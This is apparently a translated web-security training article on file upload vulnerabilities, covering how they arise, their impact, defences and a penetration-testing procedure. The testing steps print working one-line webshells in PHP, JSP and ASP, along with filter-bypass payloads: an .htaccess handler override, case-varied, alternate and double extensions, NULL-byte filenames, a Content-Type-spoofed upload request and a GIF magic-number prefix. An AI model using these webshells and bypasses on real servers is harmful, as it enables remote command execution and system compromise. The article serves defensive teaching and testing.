File upload vulnerabilities are vulnerabilities that can allow malicious files to be uploaded if validation is not implemented before the file is uploaded to a web application or is implemented in an insecure manner. Today’s web applications typically provide file upload functionality, such as uploading a user profile photo, attaching a file to a bulletin board, or inserting an image into the bulletin board body content. If this file upload function is weak, an attacker can execute server-side attacks by uploading files such as webshells rather than the normal image or video files expected by the server, such as executing system commands or exploiting them as a waypoint for other system attacks. Additionally, client-side attacks such as XSS and phishing page injection may be possible. In this training, we will focus on web shell upload, which is a server-side attack.
How file upload vulnerabilities work
File upload vulnerabilities have relatively simple attack methods and principles compared to other web vulnerabilities. First, let’s look at how file uploads are handled in a typical web application to understand how file upload vulnerabilities work.
When a user uploads a file, the uploaded file is stored somewhere. At this time, the location where the file is saved is a storage space designated by the developer, so it may vary depending on the web application. It can be the same server as the one running the web application, a physically different server, or separate storage. Or it could be cloud-based storage like Amazon Web Services S3.
File upload vulnerabilities typically occur when the storage location of the uploaded file is the same server that the web application runs on. In this case, the file storage location is usually a subdirectory of the server’s web root directory. To help you understand, let’s look at the simple directory structure of an Ubuntu Linux, Apache, and PHP-based web application below.
root ├─ home/ ├─ etc/ │ ... ├─ sys/ └─ var/ └─www/ └── html/ <== web root (www.example.com) ├── uploaded/ <== Storage location of uploaded files (www.example.com/uploaded) │ ├── image1.jpg <== Uploaded image file (www.example.com/uploaded/image1.jpg) │ └── image2.png ├── includes/ │ ├── style.css │ └── script.js └── index.php
The web root directory corresponds to the domain (www.example.com). Therefore, only the web root directory and its subdirectories can be accessed through URL, and access to directories above the web root is not possible. In this example structure, users can visit the web application by entering the domain address (www.example.com) into their web browser thanks to the index.php file under the web root (/var/www/html) directory. Additionally, files uploaded by users through web applications are stored in the /var/www/html/uploaded directory, and the hierarchical structure of this directory is applied to the URL system as well, resulting in the URL format of www.example.com/uploaded/image1.jpg. You can access uploaded files.
What is a web root directory? |
This is the top-level directory of a web application and refers to the directory pointed to by the domain itself. Each web server, such as Apache or IIS, has a default location, but may be specified as a different directory by the developer. In the case of the Apache web server in the Ubuntu Linux environment, the web root directory is /var/www/html, and according to the general web implementation method, the storage location of uploaded files is a directory existing under the web root directory specified by the developer. For example, /var/www/html/uploaded. |
Let’s look at the situation of uploading a profile photo. It is assumed that the developer implemented the uploaded file to be saved in the profile directory under the web root directory.
File upload processing process
Users upload a photo file (picture.jpeg) from their profile screen. Photo files uploaded by users are saved in the profile directory under the web root. After the file is uploaded, when someone views that user’s profile, the web application retrieves the file from the location where the photo file is stored via URL and includes it in the profile view screen. If you look at the picture above, the picture.jpeg file saved in the profile directory or profile directory under the server’s web root is matched with the same directory structure based on the domain (www.example.com).
Here’s something we should pay attention to. The point is that most uploaded files can be accessed through URLs. Files that cannot be accessed via URL will not be very useful in web-based services, and why should they be allowed to be uploaded except for very special purposes? In any case, access via URL means that anyone with access to the web application can access the file via a web browser. This allows an attacker to exploit a file upload vulnerability, and the attacker must know the location of the uploaded file. You can check the location of the file by looking at the source code (src attribute value of the <img> tag, etc.) of the web page where the file is displayed, or by right-clicking on the file and looking at ‘Properties’.
Viewing a file in a web browser through the URL of the file
So how can an attacker exploit a vulnerable file upload feature?
From an attacker’s perspective, the most attractive attack that can take advantage of a file upload vulnerability is webshell upload. What would happen if an attacker was able to upload a webshell file written in a scripting language such as PHP or ASP rather than an image file such as JPEG or PNG, as shown in the picture below? Of course, this assumes that no user input validation or sanitization is implemented on the server side.
As explained earlier, an attacker will be able to access the file through a web browser after checking the URL path of the uploaded file. In other words, an attacker can view the webshell file stored on the server in a web browser as shown in the picture below and execute arbitrary commands (delete commands such as rm, etc.) to damage the system or find out system information necessary for an attack. no see.
Access and execute webshell through a web browser
Types of File Upload Vulnerabilities
File upload vulnerabilities are divided into the following two types depending on how malicious files are stored on the web application server.
- Local file upload vulnerability
- Remote file upload vulnerability
Local file upload vulnerability
This vulnerability allows users to upload malicious files directly within the web application itself. Attackers can execute uploaded files to perform malicious actions.
Remote file upload vulnerability
Although users cannot upload files directly from the web application itself, it is a vulnerability that allows remote files to be requested through the URL of malicious files that exist on the Internet and stored inside the web application server.
Impact of file upload vulnerabilities
The impact of a file upload vulnerability depends on what can be done with a malicious file uploaded to a web application, where the file is stored, and the permissions of the account running the web application. In general, here’s what an attacker can do:
Execute remote commands
Webshell uploads can allow remote command execution, obtain sensitive information from your system, or completely compromise your system.
security bypass
By uploading a file with the same name as a sensitive file (such as .htaccess ) on the server and overwriting it, existing security settings can be defeated and other attacks can be attempted.
phishing attack
If an existing file is overwritten with a phishing page, users who visit that page will be exposed to phishing attacks.
service interruption
When large files are uploaded, server resources may be exhausted to process them and the service may be interrupted unintentionally.
client-side attack
If files containing malicious scripts or malicious files (malware) are uploaded, the files may hijack the user’s account, and infect or damage the computer.
Prevent file upload vulnerabilities
The methods introduced below are ways to mitigate or prevent file upload attacks. Some methods can be easily bypassed by an attacker depending on how they are implemented, and these bypass tricks are already available on the Internet. Therefore, the service must implement as many overlapping filters as allowed from policy and technical aspects to make it difficult for attackers to exploit it.
File extension verification
Apply a whitelist-type filter that allows uploading of only safe file extensions. A blacklist method that blocks only dangerous extensions cannot protect against all modified attacks and bypass attempts attempted by attackers. This is why a whitelist approach must be used and the filter must be implemented on the server side. Client-side controls can be easily defeated by an attacker, so make sure they are performed on the server side.
File type verification
Files uploaded via HTTP are sent with a Content-Type header. The Content-Type header informs the server of the type of file. Determine the MIME TYPE to be allowed and check whether the Content-Type header value of the uploaded file is included in the allowed MIME TYPE list. Uploads should only be allowed if they are whitelisted.
File Magic Number Verification
A Magic Number is a constant or text written at the beginning of a file to identify its type. For example, if you look at the format of a GIF file, the magic number is GIF89a in the header.
byte# hexadecimal text or
(hex) value Meaning
0: 47 49 46
38 39 61 GIF89a Header
Logical Screen Descriptor
6: 03 00 3 - logical screen width in pixels
8: 05 00 5 - logical screen height in pixels
... omitted. ..
GIF file format (Source: Wikipedia)
Screen for safe magic numbers, check whether the magic numbers of files being uploaded are whitelisted, and allow uploads only if the files are safe.
Files processed through computers have magic numbers. To find the magic numbers for different file types, see Magic numbers for each file .
File name length and file capacity limits
Service may be interrupted if files are uploaded large enough to affect service availability. To prevent this, you must limit the length of the uploaded file name and the size of the file capacity.
Change or obfuscate file names
To exploit a file upload vulnerability, an attacker must know the location of the uploaded file and be able to access it through a web browser. When processing file uploads, changing or obfuscating the file name can make it difficult for an attacker to identify the location of the file. When reloading an uploaded file into a web browser, use the changed file name rather than the original file name.
Save the .htaccess file at the top of the web root
If you save a .htaccess file in the directory where uploaded files are stored, this file could be replaced by a crafted file by an attacker. The .htaccess file must be stored in a directory above the web root that is not accessible to attackers, and filtering must be implemented to prevent files named .htaccess from being uploaded.
Check for malicious files
Before saving files to a server, use anti-virus software to check for malicious files and only allow them if it is safe to do so. Alternatively, you can use Content Disruption Technology (CDR) to remove any malicious code contained in the file.
Separation of upload file storage locations
It is recommended that uploaded files be stored in a storage space separate from the web application’s code. You can save uploaded files to a directory outside of your webroot or to a cloud-based storage device. Saving uploaded files to a remote file server or separate disk partition also helps minimize damage from attacks.
How to test for file upload vulnerabilities
Describes testing methods for PHP-based web applications.
Step 1. Identify file upload function
Try out all the features of the web application and check the ability to upload files.
Step 2. Check normal file upload and URL
Upload a legitimate file via the identified file upload function and look for a function in your web application where that file will appear again in the response. Then, check and remember the URL address of the file through the source code of the web page or right-click and view property information.
Step 3. Upload webshell
This time, we will create and upload a single-line webshell file written in PHP.
<?php echo shell_exec($_GET['cmd']); ?>
<?php echo passthru($_GET['cmd']); ?>
For JSP or ASP-based web applications, you can create a webshell file by referring to the following simple Single Line Webshell sample. Some tools can help you easily identify the programming language of your web application. Look for Wappalyzer in your web browser extensions .
JSP
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
ASP
<% eval request("cmd") %>
If the webshell uploads and runs normally, the attack is successful. However, your web application may not easily allow the upload of these malicious files. If it is blocked by a filter, you should analyze how the filter handles the validation of uploaded files and try to circumvent it.
Step 4. Filter analysis and bypass
Analyze, identify, and bypass filters applied when uploading files in a web application, such as what types of files the web application allows to upload, what types of files it does not allow, and what the criteria are for determining whether or not to allow uploads. Try . Commonly used filters to prevent file upload vulnerabilities and how to bypass them are listed below.
File extension verification
The developer selects the extension names of dangerous files such as .php, .jsp, etc., then compares the extension names included in the file names uploaded by the user and uses a blacklist method to block uploads if the extension is dangerous, or allows upload only if it is a safe extension. A whitelist approach is often used. Implementations vary depending on the web developer, but there may be a few tricks to work around it.
Upload .htaccess file
If your web server is Apache and you can upload a .htaccess file, you can run a jpg file (not a php file) as if it were a PHP script by uploading an .htaccess file containing the syntax below.
AddType application/x-httpd-php.jpg
If you have successfully uploaded the .htaccess file containing the above syntax, you can run the webshell by uploading a JPG file (webshell.jpg) containing the PHP webshell code.
Extension name using mixed case and lowercase letters
Sometimes web developers make mistakes when comparing strings for extension checking. Only blocks the php extension. In this case, it may be possible to bypass it by using an extension name that uses mixed case and lowercase letters.
shell.pHp
shell.Php
shell.phP
shell.PHp
shell.PhP
...
little-known extension
Due to incorrect or unnecessary settings on the web server, the following extensions may be recognized as PHP scripts and executed.
shell.php3
shell.php4
shell.php5
shell.php7
shell.phtml
shell.phtm
shell.pht
shell.phar
...
Spoofing the extension
If the filter extracts the string immediately after the first dot (.) character from the file name uploaded by the user and identifies it as an extension, you can bypass it by using the extension multiple times as follows.
shell.jpg.php
shell.png.php
shell.txt.php
...
Insert NULL character
If the string after the last dot (.) character in the file name is identified as the extension, a bypass may be possible by inserting a NULL character in the middle of the file name. The filter recognizes these files as safe, but to the system, NULL means the end of the string, so the extension after the NULL character is ignored and executed as a PHP script as normal. This method may have been patched or still work depending on the PHP version and functions used.
shell.php%OO.jpg
shell.php%OO.png
shell.php%OO.txt
...
MIME TYPE verification
This method checks the MIME TYPE of the uploaded file and allows or blocks it. This can be circumvented by intercepting the file upload request through a proxy tool like Burp Suite and then changing the Content-Type header to a type accepted by the web application. The following is an example of changing the Content-Type header of the webshell.php file from application/x-php to image/jpeg in the case of file upload using a multipart/form-data type form (<form>).
Request message before change
POST /upload_file.php HTTP/1.1 ...omitted... ------WebKitFormBoundaryEr9uqAw4prRuW1ZN Content-Disposition: form-data; name="file"; filename="webshell.php" Content-Type: application/x-php <?php echo shell_exec($_GET['cmd']); ?> ...skip...
Request message after change
POST /upload_file.php HTTP/1.1 ...omitted... ------WebKitFormBoundaryEr9uqAw4prRuW1ZN Content-Disposition: form-data; name="file"; filename="webshell.php" Content-Type: image/jpeg <?php echo shell_exec($_GET['cmd']); ?> ...skip...
Magic Number Verification
This method reads the magic number of the uploaded file and blocks dangerous file types or allows only safe file types. If the web application under test allows the upload of GIF files, a workaround may be possible simply by adding the magic number GIF8 to the webshell.php file as shown below.
GIF8
<?php echo shell_exec($_GET['cmd']); ?>
Step 5. Check webshell operation
If the webshell was uploaded properly, the webshell file would probably be saved in the location checked in Step 2. Try visiting the web shell’s URL in a web browser and sending harmless commands to the system via the cmd parameter used to run commands in the webshell. You should see the results of executing the command.
Step 6. Remove webshell
When testing is complete, be sure to remove the webshell uploaded to the web application. If not removed, your webshell may be exploited for malicious purposes by other attackers.